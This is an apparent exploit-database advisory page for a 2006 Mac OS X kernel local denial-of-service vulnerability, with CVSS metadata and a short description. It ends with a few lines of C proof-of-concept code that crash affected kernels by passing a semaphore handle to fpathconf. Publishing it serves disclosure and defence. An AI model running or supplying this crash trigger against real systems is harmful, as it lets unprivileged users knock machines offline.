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Mac OS X
by:
SecurityFocus
7.2
CVSS
HIGH
Local Denial-of-Service
N/A
CWE
Product Name: Mac OS X
Affected Version From: Mac OS X
Affected Version To: Mac OS X
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Mac OS X
2006

Apple Mac OS X Local Denial-of-Service Vulnerability

Apple Mac OS X is prone to a local denial-of-service vulnerability because the kernel fails to properly handle the execution of a system call. Exploiting this issue allows local, unprivileged users to crash affected kernels, denying further service to legitimate users.

Mitigation:

N/A
Source

Exploit-DB raw data:

// source: https://www.securityfocus.com/bid/20982/info

Apple Mac OS X is prone to a local denial-of-service vulnerability because the kernel fails to properly handle the execution of a system call.

Exploiting this issue allows local, unprivileged users to crash affected kernels, denying further service to legitimate users.

#include <unistd.h>
#include <semaphore.h>

int main() {
fpathconf(sem_open("DaringWussball", O_CREAT, S_IRWXU, 1), 0);
}